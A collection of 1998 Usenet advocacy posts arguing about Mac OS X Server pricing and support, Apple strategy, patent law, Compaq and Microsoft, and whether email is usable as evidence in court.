spagiola@my-dejanews.com <spagiola@my-dejanews.com> wrote:
>sal@panix.com wrote:
>> I think the coolest thing they can do is ship it on all the new machines they
>> sell. Set up a dual-boot and let users decide which OS to keep. Perhaps it
>> would sell more Macs? Maybe a free copy of OSX would be enough to get a bunch
>> of those 040 and Nubus PPC Mac users to upgrade?
>Or just bundle it with high-end machines, like anything with a G3 of 300MHz
>or more. If they want to stimulate high-end hardware sales, that certainly
>ought to help.
The Pro line? I think a lot of iMac buyers would be upset if Apple shipped
OSX on "Pro" Macs but not all Macs.
>> >What would constitute a reasonable price for OSX server? The MAXIMUM is
>> >whatever MS is currently charging for NT Workstation. Ideally, it would be a
>> >lot less.
>> And if it did, would Apple be able to support it? Has Apple been building
>> up its support staff? Set up a facility for dealing with OSX customer
>> service?
>Hey, they've only had TWO YEARS to prepare for this. Are you suggesting that
>they're that incompetent?
I have not heard of Apple signing any deals to extend the CS lines. I have
not heard of _anything_ Apple might be doing to set up a OSX Server support
infrastructure. I am _not_ saying that they are incompetent, I am stateing
that I have not heard of Apple doing anything to ramp up support for OSX.
If I am wrong, please point me to some proof that Apple is working on this.
>> >Ideally, it would be the same as OS8.5 (exclusive of the developer
>> >tools).
>> Since it comes with MacOS as well, I think it makes sense to charge a
>> bit more for it.
>I have no problems with "a bit more". In the part of my post you clipped, I
>said a premium over OS8.5 would be reasonable. But again, anything over twice
>the OS8.5 price and they're just killing their own market.
$200? I doubt it. Good or bad, they named it "server" and I expect it to be
priced in server-space, not user space.
Heck, I am so sure that the price will be above $500 that if it ships for less
that that (+/- $5); I'll dress up like an iMac an post a picture of it on the
web.
From: douyang@novice.uwaterloo.ca (Darwin Ouyang)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 22 Nov 1998 19:42:43 GMT
Organization: University of Waterloo
Message-ID: <911763763.244382@watserv4.uwaterloo.ca>
References: <7329lg$ot0$1@nnrp02.primenet.com> <3655d240.3919304@news.netlife.fi> <911724487.891276@watserv4.uwaterloo.ca> <saddinoAT-2211980500380001@saddino.clark.net>
Cache-Post-Path: watserv4.uwaterloo.ca!douyang@novice.uwaterloo.ca
In article <saddinoAT-2211980500380001@saddino.clark.net>,
Danny Espinoza <saddinoAT@clarkDOT.net> wrote:
>In article <911724487.891276@watserv4.uwaterloo.ca>,
>douyang@novice.uwaterloo.ca (Darwin Ouyang) wrote:
>> In article <3655d240.3919304@news.netlife.fi>,
>> ttammi <ttammi@netlife.fi> wrote:
>>
>> >But I'm interested to see what Windows2000 will offer for that extra
>> >memory and HD space. If it is just some stupid stuff like "World's
>> >first animating Windows wallpapers!!!"...
>>
>> You can do that right now with IE4.
>>
>> Remember Active Desktop? Well anything than can go in an HTML file can
>> also go on the desktop. Or a folder.
>>
>> Make a big animated gif, write a three line HTML, and set your
>> NT/98/95/IE4 desktop background to it. Presto, animated wallpaper.
>>
>> You can even embed video, sounds, plugins, ActiveX controls, Java applets.
>>
>> :-)
>>
>> Darwin Ouyang
>Gee, you really do have the most "innovative" and best OS around!
Are you telling me that making the UI shell understand HTML isn't
innovative? :-)
Darwin Ouyang
From: "bobsun" <bobsun@worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 23 Nov 1998 03:33:46 GMT
Organization: AT&T WorldNet Services
Message-ID: <73al2q$e98@bgtnsc02.worldnet.att.net>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <72sh9j$m7m@mozo.cc.purdue.edu> <72tuss$4dd@bgtnsc01.worldnet.att.net> <72uv0r$fj0@mozo.cc.purdue.edu>
Ashootosh P. S. Palayathan wrote in message
<72uv0r$fj0@mozo.cc.purdue.edu>...
>"bobsun" <bobsun@worldnet.att.net> writes:
(snip)
>Yeah yeah! Bobsun! whatever! I guess everybody thought South-East Asia was
>going to be a world class economic region but look at the debacle over
>there now.
And what does that have to do with anything?? The three countries that i
mentioned (India, PRC, Taiwan) are not considered to be part of the
"debacle". But I guess that you missed that.
My only point is that foreign or not, one can
>still count on his fingers and come up with the fact that Apple may
>or may not take advantage of Linux properly.
May or may not?? You're really going out on a limb with that bit of insight!
Doesn't leave much room for error does it?
What has happened has
>happened, I just feel free to make my bets otherwise. That Apple and/or
>the powerpc will take advantage of such growth better, period .
Not a chance that your bet will pay off.
1) Apple can't allow clones to be manufactured in competition with them.
2) IBM and Motorola won't permit PPC processors to be manufactured by third
parties. And the market is too small to clone them, in the matter that AMD
and several other companies have done for X86.
3) Software piracy, and the response that MS has taken in Asia to control
it, makes the Linex price irrelevant.
As a consequence, current economic and political considerations eliminate
Apple as a significant participant in these markets. Governments of large
and powerful countries such as India and PRC won't permit the use of a
closed architecture, at least without national participation. Perhaps Apple
will finally recognize this and make some accommodations, such as Microsoft
has done.
>
>--
>Ashootosh P.S Palayathan
>School of Aeronautics and Astronautics
>Purdue University
bobsun
Message-ID: <36588AFB.C1EF2873@uco-iplaw.com>
From: John Kheit <jkheit@uco-iplaw.com>
Organization: UCO & Associates, LLP
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combattingLinux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net>
<364A072C.9341779B@mohawksoft.com>
<Pine.GSO.4.05.9811191310070.14908-100000@sun>
<732472$256$1@plo.sierra.com> <36553271.5E95E159@online.no.spam>
<36558a3d.714158248@news.tele.dk> <xzqyap41mk2.fsf@uni-paderborn.de>
Content-Type: multipart/mixed;
boundary="------------684EC790B8C8D95111F2AB18"
Date: Sun, 22 Nov 1998 17:06:51 -0500
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Axel Boldt wrote:
> Wow, that's extremely interesting. Seems like this opens up a great
> opportunity for free software development. For example, the mp3 sound
> encoders which the German Fraunhofer institute claims a world-wide
> patent on could simply be written and distributed from Denmark then,
> as free software of course.
>
> You seem to know this stuff, so I've one other question if you don't
> mind. Would someone in the US who downloads and uses this hypothetical
> free mp3 encoder from Denmark violate any laws?
>
> --
> Axel Boldt ** axel@uni-paderborn.de ** math-www.uni-paderborn.de/~axel/
> Sponsor free software at the Free Software Bazaar visar.csustan.edu/bazaar/
If you were to use the product in say the US, you would be infringing the patent
in the US (assuming patent protection was obtained in the US). Use alone will
do it. Of course, if there is no patent in a particular country while there are
patents in others, there should be no problems making, using, selling or
distributing in countries where no patent exists. Of course people doing that
over the internet may find that they have actions against them in the US or
countries where patents were obtained. Of course, if you hold no assets in the
US or other countries where the patents exist, and don't plan on visiting them,
then even if default judgements are entered against you it likely will be rather
meaningless.
--
Thanks, be well, take care, later, John Kheit; self expressed...
___________________________________________________________________
UCO & A s s o c i a t e s , L L P http://www.uco-iplaw.com
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--------------684EC790B8C8D95111F2AB18--
Message-ID: <36588BF9.84B9E87B@uco-iplaw.com>
From: John Kheit <jkheit@uco-iplaw.com>
Organization: UCO & Associates, LLP
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combattingLinux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364A072C.9341779B@mohawksoft.com> <Pine.GSO.4.05.9811191310070.14908-100000@sun> <732472$256$1@plo.sierra.com> <36553271.5E95E159@online.no.spam>
Content-Type: multipart/mixed;
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Tom Ekeberg wrote:
>
> > Patents are complete monopolies. You cannot use or recreate in any way what
> > is patented, without either licensing it or infringing on the patent.
>
> Is this really true in the U.S.? If I own, say, a CD player and decide to do
> some tinkering on it in my own workshop, can I then end up infringing a patent?
Yes. Of course you can. There used to be some small exceptions for university
research, if I recall, but I'm not sure if even that is allowed. Of course,
practically, who would stop you in your own garage? The interesting thing is you
can do development and further the art and get a patent on some modification of the
original patent. You might be stopped from using the patent, but the original
patentee might be estopped from using your new modification if you obtain a patent
on it. At that point you both would be forced to cross license your technology or
risk infringing.
--
Thanks, be well, take care, later, John Kheit; self expressed...
___________________________________________________________________
UCO & A s s o c i a t e s , L L P http://www.uco-iplaw.com
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version:2.1
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title:Attorney
fn:John Kheit
end:vcard
--------------9CE079D26CEA709F8EBB85CC--
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 22 Nov 1998 23:43:58 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <73a7ju$30h$1@news01.btx.dtag.de>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72qfhs$f6p$1@nnrp1.dejanews.com> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <adtF2n1wL.Do6@netcom.com> <72vii4$1fas$1@nntp6.u.washington.edu> <adtF2nLHo.685@netcom.com> <731el0$1c4a$1@nntp6.u.washington.edu> <adtF2pBvA.9xI@netcom.com>
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Anthony D. Tribelli <adt@netcom.com> wrote:
> R. Tang (gwangung@u.washington.edu) wrote:
> : Anthony D. Tribelli <adt@netcom.com> wrote:
>
> : >Fact, a Mac binary will not run on a PC even if the product targets both
> : >platforms.
> :
> : Irrelevant.
> :
> : A VHS tape will not run on a Beta machine. They sure as hell
> : target the same market.
>
> No, they are merely parallel and similar. From my dictionary:
> market: The business of buying and selling a specified commodity.
> As you indicate above, VHS and beta tapes are incompatible, they are
> different commodities, as is MacOS and PC software.
Here's your mistake: You think every product is in exactly one market.
This is not so.
Lars T.
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 23 Nov 1998 04:42:53 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <73ap4d$bik@newsb.netnews.att.com>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <72tuss$4dd@bgtnsc01.worldnet.att.net> <72uv0r$fj0@mozo.cc.purdue.edu> <73al2q$e98@bgtnsc02.worldnet.att.net>
Originator: gupta@tlctest
bobsun <bobsun@worldnet.att.net> wrote:
>
>As a consequence, current economic and political considerations eliminate
>Apple as a significant participant in these markets. Governments of large
>and powerful countries such as India and PRC won't permit the use of a
>closed architecture, at least without national participation. Perhaps Apple
>will finally recognize this and make some accommodations, such as Microsoft
>has done.
Dunno about PRC, but the government decides what runs in government offices
only in India. Yes, that is a sizeable but shrinking and unprofitable
portion of the economy. Actually, in India today, anything that will help
the software industry will probably be adopted l,s and barrel.
-arun gupta
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Sun, 22 Nov 1998 22:04:38 -0800
Content-Transfer-Encoding: 7bit
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <3657D44B.5648@earthlink.net> <stevehix-2211981202400001@192.168.1.10>
To: Steve Hix <stevehix@safemail.com>
Content-Type: text/plain; charset=us-ascii
Organization: EarthLink Network, Inc.
Mime-Version: 1.0
Message-ID: <3658FAF5.2BEA@earthlink.net>
Steve Hix wrote:
> DR2 isn't strictly *nothing*, is it?
>
> You could have gone the developer's route.
I'm not a developer. I am a user who appreciates cool things. NeXT and
Mac (but mostly NeXT) are just that. Rhapsody/OS X Server was supposed
to be as well.
Steve
From: macghod@concentric.net (Steve)
Newsgroups: comp.sys.mac.hardware.misc,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: 5300 batteries?
Date: Mon, 23 Nov 1998 00:05:24 -0800
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2311980005260001@sdn-ar-001casbarp059.dialsprint.net>
Anyone buy a Xtend Battery Micro Products?
I noticed their batteries are quite inexpensive, a 5300 battery is as low
as $53 (go to shopper.com)
From: tsivertsen@c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Mon, 23 Nov 1998 16:01:54 +0100
Organization: =?ISO-8859-1?Q?h=F8h=3F/Asylant?=
Message-ID: <1998112316015410337@mp-38-157.daxnet.no>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <36550c88.17937362@news.icx.net> <36589895.B613D530@ncal.verio.com>
Mike Paquette <mpaque@ncal.verio.com> wrote:
> Michael McCulloch wrote:
> > Am I the only person who has just about had enough with the whole
> > computer thing? Selling guitars sounds like more fun as a career
> > choice.
>
> I'd rather just run a full-time cabinet shop. Selling fine quality oak,
> walnut, and cherrywood cabinetry to the Danville, Alamo, and Blackhawk
> crowd (fine homes starting at $1,000,000) at a generous margin would be
> more rewarding. The nice thing about custom cabinetry is that when it's
> done, it ships...
The biggest problem is marketing and support. ;-)
Nasty.
--
Cheers, Thomas Sivertsen
tsivertsen@c2i.net
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Mon, 23 Nov 1998 15:10:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73btsl$nb2$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com>
sal@panix.com wrote:
> >> .... I very much doubt that Apple thinks that OSXS will
> >> sell in large numbers.
> >Of course they won't, if they charge $500 for it. That's called a
> >self-fulfilling prophesy.
>
> What does NT _server_ sell for? What does Netware _server_ sell for? What
> does AppleShare _server_ sell for?
> I think they are expecting it be used as a server OS, with some use by
> WO developers at first. I don't think they expect Mac users to buy it just
> to run OS8 in the bluebox.
I don't care what they CALL it. Fact is, the OS formerly known as NeXTSTEP,
OPENSTEP, and Rhapsody is a great POWER USER OS. Many of us have been using it
as such for the best part of a decade. Many of us would very much like to use
the new version (ie OS X Server) in the same way.
If Apple ends up pricing it prohibitively, they will lose out on this
potential market. And their developers will likewise lose out on a potential
market for their apps, and will have to wait for plain-vanilla OS X to come
out.
Look, forget the name. Just sticking 'server' in the name doesn't mean
anything, just like MS putting '97' in Windows 97's name was no guarantee
that it would ship that year. Names are purely marketing constructs. Fact is,
OS X Server has all it needs to be a great user OS, and Apple would be
incredibly stupid not to take advantage of this, especially when by doing so
it would also even further piss off developers it badly needs to make its
forthcoming consumer OS X version a success.
Now, if they want to bundle OS X Server with Web Objects and other stuff, and
sell it for what MS charges for NT Server, fine. AS LONG AS they ALSO sell a
version with just the OS -- I don't even care for the development tools -- for
what MS charges for NT _Workstation_.
> >If they're determined to prove that OSX Server will fail in the marketplace,
> >they certainly seem to be following the right approach.
>
> I am waiting to see _how_ they plan to sell it and market it before I say
> anything about it being a success or a failure.
I'm waiting too. And waiting. And waiting. What i'm saying now is that IF
they decide to go for a high-price strategy, they are likely to piss off a
whole lot of people. People like me, they probably don't care. People like
their yellowbox developers, they damn well ought to care, and if they do not
it sure doesn't bode well for their long-term survival, no matter how well
they may be doing now.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 23 Nov 1998 15:41:58 GMT
Organization: Primenet (602)416-7000
Message-ID: <73bvo6$buh$1@nnrp03.primenet.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy>
<731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com wrote:
: I don't care what they CALL it. Fact is, the OS formerly known as NeXTSTEP,
: OPENSTEP, and Rhapsody is a great POWER USER OS. Many of us have been
: using it as such for the best part of a decade. Many of us would very
: much like to use the new version (ie OS X Server) in the same way.
: If Apple ends up pricing it prohibitively, they will lose out on this
: potential market. And their developers will likewise lose out on a potential
: market for their apps, and will have to wait for plain-vanilla OS X to come
: out.
It boggles my mind that you can keep saying "if". Apple purchased a
complete product line from NeXT in December of 1996. That product line
included development tools and the power user OS you describe. Apple had
every opportunity to sell those products at a price to bring in the early
adoptors.
The question is not "if?", it is "why not?"
If you can figure out the "why not", you might get a line on "if" it will
change.
My reading of the situation is that Apple blew their early chance to
release the technology, and now Apple considers Rhapsody (and therefore
MacOS X Server) to be "over". That was Avie's testimony in the Microsoft
anti-trust trial, that the Microsoft monopoly "prevented" (as in past
tense) the introduction of a new operating system.
John
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Mon, 23 Nov 1998 15:36:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73bvef$oid$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733v0n$l7s$1@nnrp1.dejanews.com> <739mk5$g85@news1.panix.com>
sal@panix.com wrote:
> >Or just bundle it with high-end machines, like anything with a G3 of 300MHz
> >or more. If they want to stimulate high-end hardware sales, that certainly
> >ought to help.
>
> The Pro line? I think a lot of iMac buyers would be upset if Apple shipped
> OSX on "Pro" Macs but not all Macs.
What I'm suggesting is, make OS X server available as an optional bundled
item with the purchase of high-end Macs. But certainly they should make it
available to anyone else, too.
> >> And if it did, would Apple be able to support it? Has Apple been building
> >> up its support staff? Set up a facility for dealing with OSX customer
> >> service?
> >Hey, they've only had TWO YEARS to prepare for this. Are you suggesting that
> >they're that incompetent?
>
> I have not heard of Apple signing any deals to extend the CS lines. I have
> not heard of _anything_ Apple might be doing to set up a OSX Server support
> infrastructure. I am _not_ saying that they are incompetent, I am stateing
> that I have not heard of Apple doing anything to ramp up support for OSX.
> If I am wrong, please point me to some proof that Apple is working on this.
Hey, I haven't heard anything either. But it seems to me that if they're going
to ship a new OS, they'd better have been at work creating such a support
system. If they haven't, it sounds like incompetence to me. And certainly
pointing to the absence of such a system as a reason not to ship or to tightly
limit shipments by some artificial device would be exceedingly lame.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
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From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Mon, 23 Nov 1998 11:11:40 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73c1hn$2io@shelob.afs.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com wrote:
>OS X Server has all it needs to be a great user OS, and Apple would be
>incredibly stupid not to take advantage of this, especially when by doing
so
>it would also even further piss off developers it badly needs to make its
>forthcoming consumer OS X version a success.
No, no, no. They don't need YB developers at all. The whole point to Carbon
is to continue tying their success to old-time developers, albeit on top of
a new OS. Us old-time YB developers are just collateral damage of a flawed
process.
>Now, if they want to bundle OS X Server with Web Objects and other stuff,
and
>sell it for what MS charges for NT Server, fine. AS LONG AS they ALSO sell
a
>version with just the OS -- I don't even care for the development tools --
for
>what MS charges for NT _Workstation_.
Doubtful. As someone else pointed out, Avie's testimony dramatically
highlighted the perception of such a strategy as futile.
>I'm waiting too. And waiting. And waiting. What i'm saying now is that IF
>they decide to go for a high-price strategy, they are likely to piss off a
>whole lot of people. People like me, they probably don't care. People like
>their yellowbox developers, they damn well ought to care, and if they do
not
>it sure doesn't bode well for their long-term survival, no matter how well
>they may be doing now.
See above. They don't care. And frankly, the number of people who might get
seriously pissed off is so small in the grand scheme of things, they risk
little to do it. As Sigmund Freud once said, "Ze dream is over."
All IMHO, of course. 8^)
Greg
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: PostScript imaging model (was Re: Tweaking fonts)
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<qc_12.116$rY3.724777@news.rdc1.sdc <72vbkd$i68$1@news.xmission.com> <F2ppF0.FB7.0.scream@sounds.wa.com>
<36589A98.C7FBDAF7@ncal.verio.com>
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Date: Mon, 23 Nov 1998 16:34:36 GMT
In <36589A98.C7FBDAF7@ncal.verio.com> Mike Paquette wrote:
> On driving PostScript printers, well, that's pretty easy to do, and
> doesn't require a PostScript interpreter on the host computer.
It is, however, nice to have in certain cases. I think the "proper"
solution here is to bless a 3rd party product - say GhostScript - and
develop a installation plan. In fact I'd say this would garner Apple more
positive comments than if they shipped a PS engine themselves, notably from
the easily excitable GNU world.
> This was all covered last May in assorted WWDC sessions.
Welllll, that's stretching it a bit. There was a lot of "between the
lines, nudge nudge wink wink" going on. I suspect this year's show will
present a clearer picture though.
I'm not at all concerned by any of this though. I've already audited my
code, and as long as there's a "bounding box of this as seen from this
transform" function (HINT HINT), I have about 1/2 dozen functions to change
for a total of maybe 20 to 50 lines of code. I'm not losing any sleep, and
I'll take the potential speed benefits ANY day.
Maury
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 11:11:09 -0500
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Sal Denaro wrote:
>
>
> The quote was "Milk the mac for all it's worth, while moving on to the
> next big thing"
>
> Between 1986 and 1996, Apple milked the Mac for all it was worth, but
> didn't move on to the next big thing.
>
> This is _common_ practice in the world of business. Ford milked the Model-T
> for all it was worth while working on the Model-A. Microsoft milked Win3.x
> for all it was worth while working on WinNT and Win9x.
>
> Why anyone is shocked by this quote is beyond me.
What shocks me is why anyone would want to do business with a company
intent on milking old technology when there are much better alternatives
available.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 11:27:24 -0500
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Chad Irby wrote:
>
> Compaq is *very* anti-Microsoft, even more so than Apple. I've met enough
> upper-level folks from both companies, and the level of active dislike for
> MS in Compaq is startling. It's pretty much the same in the other clone
> companies, and in most Windows-based software companies.
>
> The more people work with Microsoft, the more they hate it.
>
Wasn't it Phiffer of Compaq, I believe, who took to the national
airwaves in defense of Microsoft? If the degree of Compaq involvement
with Microsoft products is an indicator of how much Compaq "hates"
Microsoft, then you'd have to say Compaq must truly loathe and despise
Apple, wouldn't you?...:)
I think somehow that you've missed the larger picture. The basis of
Compaq's business success in the market has in no small measure been a
result of Compaq's perpetual and massive bundling of Microsoft products.
Have you seen any Compaqs for sale at your local retailer *without* any
bundled Microsoft products? And, hey, more than three years ago the 1995
Consent Decree made it impossible for Microsoft to insist that any
vendor buy based on the total number of cpus they shipped, so that can't
be a reason for it. To me this is a case of "actions speaking louder
than words." I don't care how much middle-management griping you may
hear, look at what Compaq *does* and you'll get a clear indication of
its real relationship with Microsoft.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Mon, 23 Nov 1998 16:39:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73c33f$r7i$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733v0n$l7s$1@nnrp1.dejanews.com> <739mk5$g85@news1.panix.com>
sal@panix.com wrote:
> >I have no problems with "a bit more". In the part of my post you clipped, I
> >said a premium over OS8.5 would be reasonable. But again, anything over twice
> >the OS8.5 price and they're just killing their own market.
>
> $200? I doubt it. Good or bad, they named it "server" and I expect it to be
> priced in server-space, not user space.
Forget what you EXPECT them to do. The question is, what would you LIKE them
to do? What do you think they SHOULD do, to best guarantee the success of OS
X Server and the forthcoming OS X? Do you think that 'server-space' pricing
will be a good or a bad thing? I, for one, think it would be a REALLY BAD
IDEA. Just like shipping the iMac with a 33.6 modem would have been a really
bad idea. Fortunately, Apple heard the grumbles and changed its mind. So, if
you think their mind ought to be changed, why don't you say so?
-----------== Posted via Deja News, The Discussion Network ==----------
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From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 12:28:20 -0500
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Maury Markowitz wrote:
>
> As your note below shows, the court has well established systems for
> checking the validity of signature. If the signature was so hard to forge,
> they wouldn't need these. Likewise the government, notably the feds, has
> superb people to check the validity of e-mail too. Yet they didn't bother,
> which demonstrates they're not questioning the validity of the mail.
Believe me, the "email validity issue" is one being saved up for appeal.
I'd bet on it...
You've completely missed the point. Whether or not a signature is "hard
to forge" is completely irrelevant. The point is that with a signature
you *can* prove that a forgery took place, whereas with an email you
cannot prove a forgery took place, because there is no signature or
other individualized, handwritten marker which may be conclusively
linked to a specific individual. ASCII text prints the same on a printer
whether you typed the note or I did.
>
> And if the document is unsigned, experts can examine it to determine if
> it's genuine. It happens all the time.
Nope, sorry, it does not. Without a handwritten signature or other
handwritten identifiers, there is *no way* to conclusively prove that a
specific individual ever authored a specific document. Using indirect
means, like phraseology and so forth, you could at best show a
"probability" that a specific individual "might" have authored it.
However, if the individual does not stipulate to authorship, you
absolutely cannot prove it in the absence of a signature and/or other
handwritten markers.
>
>
> Yes, e-mail can be forged, and there are effective systems for checking
> it's validity.
And what might they be? Unless it can be shown that *only* a particular
individual ever had access to a specific machine, anyone "in the
building" could theoretically have sent the email from that machine.
What other "systems" exist for establishing authorship of an email
beyond a doubt?
>
> Whereas many others are convicted on the basis of handwriting experts,
> paper analysis, chemical analysis of the ink, looking over server logs,
> examining the watermark, checking proxys, routing information, fingerprints
> and many other forms of checking.
All of which is completely irrelevant. Let's go down your list.
Handwriting experts, paper analysis, and ink analysis are all irrelevant
to the email because there is no handwriting, and everyone shares the
printers, ink and paper, and emails are usually sent as "paperless"
communications.
"Looking over server logs" tells you nothing except which machine sent
the email. Unless it was not physically possible for another person to
have used that particular machine, we are back to the "anyone in the
building" scenario.
Watermark is irrelevant even if an individual was known for using only a
certain type of paper with a certain watermark in his printing, because
unless that paper is tightly controlled (say signed out on a
sheet-by-sheet basis with a log), whoever had access to the machine
could also have used the watermarked paper. But again, emails are
usually printed by the person receiving them, not sending them. So it's
doubly irrelevant.
"Checking proxies, routing information" again show only the machine from
which the email was sent. They cannot declare the author in and of
themselves.
"Fingerprints"--I assume you mean fingerprints on the sending machine,
since emails bear no fingerprints. If more than one person has access to
that machine, fingerprints are useless.
>
> There is no difference IN THE WAY THE COURTS DEAL WITH THE AUTHENTISITY
> OF THE EVIDENCE.
